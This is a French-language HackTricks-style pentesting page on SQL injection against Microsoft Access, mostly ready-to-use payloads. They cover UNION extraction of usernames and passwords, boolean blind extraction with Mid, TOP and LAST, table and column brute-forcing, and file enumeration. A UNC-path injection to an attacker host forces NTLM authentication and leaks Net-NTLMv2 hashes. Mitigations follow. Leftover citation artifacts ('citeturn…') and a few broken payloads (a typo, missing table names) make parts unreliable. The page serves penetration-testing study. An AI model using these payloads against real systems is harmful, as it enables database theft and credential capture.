# Injection SQL MS Access {{#include ../../banners/hacktricks-training.md}} ## Terrain de jeu en ligne - [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1) ## Limitations de la base de données ### Concaténation de chaînes La concaténation de chaînes est possible avec les caractères `& (%26)` et `+ (%2b)`. ```sql 1' UNION SELECT 'web' %2b 'app' FROM table%00 1' UNION SELECT 'web' %26 'app' FROM table%00 ``` ### Commentaires Il n'y a pas de commentaires dans MS Access, mais apparemment, il est possible de supprimer le dernier d'une requête avec un caractère NULL : ```sql 1' union select 1,2 from table%00 ``` Si cela ne fonctionne pas, vous pouvez toujours corriger la syntaxe de la requête : ```sql 1' UNION SELECT 1,2 FROM table WHERE ''=' ``` ### Requêtes empilées Elles ne sont pas prises en charge. ### LIMIT L'opérateur **`LIMIT`** **n'est pas implémenté**. Cependant, il est possible de limiter les résultats de la requête SELECT aux **premières N lignes de la table en utilisant l'opérateur `TOP`**. `TOP` accepte comme argument un entier, représentant le nombre de lignes à retourner. ```sql 1' UNION SELECT TOP 3 attr FROM table%00 ``` Tout comme TOP, vous pouvez utiliser **`LAST`** qui obtiendra les **lignes de la fin**. ## Requêtes UNION / Sous-requêtes Dans une SQLi, vous voudrez généralement exécuter une nouvelle requête pour extraire des informations d'autres tables. MS Access exige toujours que dans **les sous-requêtes ou les requêtes supplémentaires, un `FROM` soit indiqué**.\ Donc, si vous voulez exécuter un `UNION SELECT` ou `UNION ALL SELECT` ou un `SELECT` entre parenthèses dans une condition, vous devez toujours **indiquer un `FROM` avec un nom de table valide**.\ Par conséquent, vous devez connaître un **nom de table valide**. ```sql -1' UNION SELECT username,password from users%00 ``` ### Chaining equals + Substring > [!WARNING] > Cela vous permettra d'exfiltrer les valeurs de la table actuelle sans avoir besoin de connaître le nom de la table. **MS Access** permet une **syntaxe étrange** telle que **`'1'=2='3'='asd'=false`**. Comme d'habitude, l'injection SQL se trouvera dans une clause **`WHERE`**, nous pouvons en abuser. Imaginez que vous ayez une SQLi dans une base de données MS Access et que vous sachiez (ou deviniez) qu'un **nom de colonne est username**, et c'est le champ que vous souhaitez **exfiltrer**. Vous pourriez vérifier les différentes réponses de l'application web lorsque la technique des égalités en chaîne est utilisée et potentiellement exfiltrer du contenu avec une **injection booléenne** en utilisant la fonction **`Mid`** pour obtenir des sous-chaînes. ```sql '=(Mid(username,1,3)='adm')=' ``` Si vous connaissez le **nom de la table** et **la colonne** à extraire, vous pouvez utiliser une combinaison de `Mid`, `LAST` et `TOP` pour **fuiter toutes les informations** via une injection SQL booléenne : ```sql '=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')=' ``` _Feel free to check this in the online playground._ ### Brute-forcing Table names En utilisant la technique de chaînage des égalités, vous pouvez également **bruteforcer les noms de tables** avec quelque chose comme : ```sql '=(select+top+1+'lala'+from+)=' ``` Vous pouvez également utiliser une méthode plus traditionnelle : ```sql -1' AND (SELECT TOP 1 )%00 ``` _Feel free to check this in the online playground._ - Noms de tables courants de Sqlmap : [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt) - Il y a une autre liste dans [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) ### Brute-Forcing Noms de colonnes Vous pouvez **brute-forcer les noms de colonnes actuels** avec le truc de chaînage d'égalités avec : ```sql '=column_name=' ``` Ou avec un **group by** : ```sql -1' GROUP BY column_name%00 ``` Ou vous pouvez forcer par brute les noms de colonnes d'une **autre table** avec : ```sql '=(SELECT TOP 1 column_name FROM valid_table_name)=' -1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00 ``` ### Dumping data Nous avons déjà discuté de la [**technique de chaînage d'égalités**](ms-access-sql-injection.md#chaining-equals-+-substring) **pour extraire des données des tables actuelles et d'autres tables**. Mais il existe d'autres méthodes : ```sql IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') ``` En résumé, la requête utilise une instruction "if-then" afin de déclencher un "200 OK" en cas de succès ou un "500 Internal Error" sinon. En tirant parti de l'opérateur TOP 10, il est possible de sélectionner les dix premiers résultats. L'utilisation subséquente de LAST permet de considérer uniquement le 10ème tuple. Sur cette valeur, en utilisant l'opérateur MID, il est possible d'effectuer une simple comparaison de caractères. En changeant correctement l'index de MID et TOP, nous pouvons extraire le contenu du champ "username" pour toutes les lignes. ### Astuces Basées sur le Temps (Aveugles) Jet/ACE SQL lui-même **ne** expose **pas** de fonction native `SLEEP()` ou `WAITFOR`, donc les injections aveugles basées sur le temps sont limitées. Cependant, vous pouvez toujours introduire un délai mesurable en forçant le moteur à accéder à une **ressource réseau qui est lente ou ne répond pas**. Parce que le moteur essaiera d'ouvrir le fichier avant de retourner le résultat, le temps de réponse HTTP reflète la latence aller-retour vers l'hôte contrôlé par l'attaquant. ```sql ' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'-- ``` Point le chemin UNC vers : * un partage SMB derrière un lien à haute latence * un hôte qui abandonne le handshake TCP après `SYN-ACK` * un trou noir de pare-feu Les secondes supplémentaires introduites par la recherche distante peuvent être utilisées comme un **oracle de timing hors bande** pour des conditions booléennes (par exemple, choisir un chemin lent uniquement lorsque le prédicat injecté est vrai). Microsoft documente le comportement de la base de données distante et le kill-switch associé dans KB5002984. citeturn1search0 ### Autres fonctions intéressantes - `Mid('admin',1,1)` obtenir une sous-chaîne à partir de la position 1 longueur 1 (la position initiale est 1) - `LEN('1234')` obtenir la longueur de la chaîne - `ASC('A')` obtenir la valeur ascii du caractère - `CHR(65)` obtenir une chaîne à partir de la valeur ascii - `IIF(1=1,'a','b')` si alors - `COUNT(*)` Compter le nombre d'éléments ## Énumérer les tables Depuis [**ici**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database), vous pouvez voir une requête pour obtenir les noms des tables : ```sql select MSysObjects.name from MSysObjects where MSysObjects.type In (1,4,6) and MSysObjects.name not like '~*' and MSysObjects.name not like 'MSys*' order by MSysObjects.name ``` Cependant, notez qu'il est très typique de trouver des injections SQL où vous **n'avez pas accès pour lire la table `MSysObjects`**. ## Accès au système de fichiers ### Chemin d'accès complet du répertoire racine Web La connaissance du **chemin d'accès absolu du répertoire racine web peut faciliter d'autres attaques**. Si les erreurs d'application ne sont pas complètement dissimulées, le chemin du répertoire peut être découvert en essayant de sélectionner des données à partir d'une base de données inexistante. `http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` MS Access répond avec un **message d'erreur contenant le chemin d'accès complet du répertoire web**. ### Énumération de fichiers Le vecteur d'attaque suivant peut être utilisé pour **inférer l'existence d'un fichier sur le système de fichiers distant**. Si le fichier spécifié existe, MS Access déclenche un message d'erreur informant que le format de la base de données est invalide : `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00` Une autre façon d'énumérer des fichiers consiste à **spécifier un élément database.table**. **Si** le **fichier spécifié existe**, MS Access affiche un **message d'erreur de format de base de données**. `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00` ### Deviner le nom de fichier .mdb Le **nom de fichier de base de données (.mdb)** peut être inféré avec la requête suivante : `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` Où **name[i] est un nom de fichier .mdb** et **realTable est une table existante** dans la base de données. Bien que MS Access déclenche toujours un message d'erreur, il est possible de distinguer entre un nom de fichier invalide et un nom de fichier .mdb valide. ### Accès à la base de données distante et vol d'identifiants NTLM (2023) Depuis Jet 4.0, chaque requête peut référencer une table située dans un fichier `.mdb/.accdb` *différent* via la clause `IN ''` : ```sql SELECT first_name FROM Employees IN '\\server\share\hr.accdb'; ``` Si l'entrée de l'utilisateur est concaténée dans la partie après **IN** (ou dans un appel `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE`), un attaquant peut spécifier un **chemin UNC** qui pointe vers un hôte qu'il contrôle. Le moteur va : 1. essayer de s'authentifier via SMB / HTTP pour ouvrir la base de données distante ; 2. leak les **identifiants NTLM** du serveur web (authentification forcée) ; 3. analyser le fichier distant – une base de données malformée ou malveillante peut déclencher des bugs de corruption de mémoire Jet/ACE qui ont été corrigés plusieurs fois (par exemple, CVE-2021-28455). Exemple pratique d'injection : ```sql 1' UNION SELECT TOP 1 name FROM MSysObjects IN '\\attacker\share\poc.mdb'-- - ``` Impact : * Exfiltration hors bande des hachages Net-NTLMv2 (utilisables pour le relais ou le craquage hors ligne). * Exécution de code à distance potentielle si un nouveau bug du parseur Jet/ACE est exploité. Atténuations (recommandées même pour les applications Classic ASP héritées) : * Ajoutez la valeur de registre `AllowQueryRemoteTables = 0` sous `HKLM\Software\Microsoft\Jet\4.0\Engines` (et sous le chemin ACE équivalent). Cela force Jet/ACE à rejeter les chemins distants commençant par `\\`. * Bloquez SMB/WebDAV sortants à la frontière du réseau. * Assainissez / paramétrez toute partie d'une requête qui pourrait se retrouver dans une clause `IN`. Le vecteur d'authentification forcée a été réexaminé par Check Point Research en 2023, prouvant qu'il est toujours exploitable sur Windows Server entièrement patché lorsque la clé de registre est absente. citeturn0search0 ### .mdb Password Cracker [**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) est un utilitaire gratuit qui peut être utilisé pour récupérer le mot de passe principal de la base de données de Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0. ## Références - [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) - [Microsoft KB5002984 – Configurer Jet/ACE pour bloquer les tables distantes](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544) - [Check Point Research – Abuser des tables liées de Microsoft Access pour l'authentification forcée NTLM (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/) {{#include ../../banners/hacktricks-training.md}}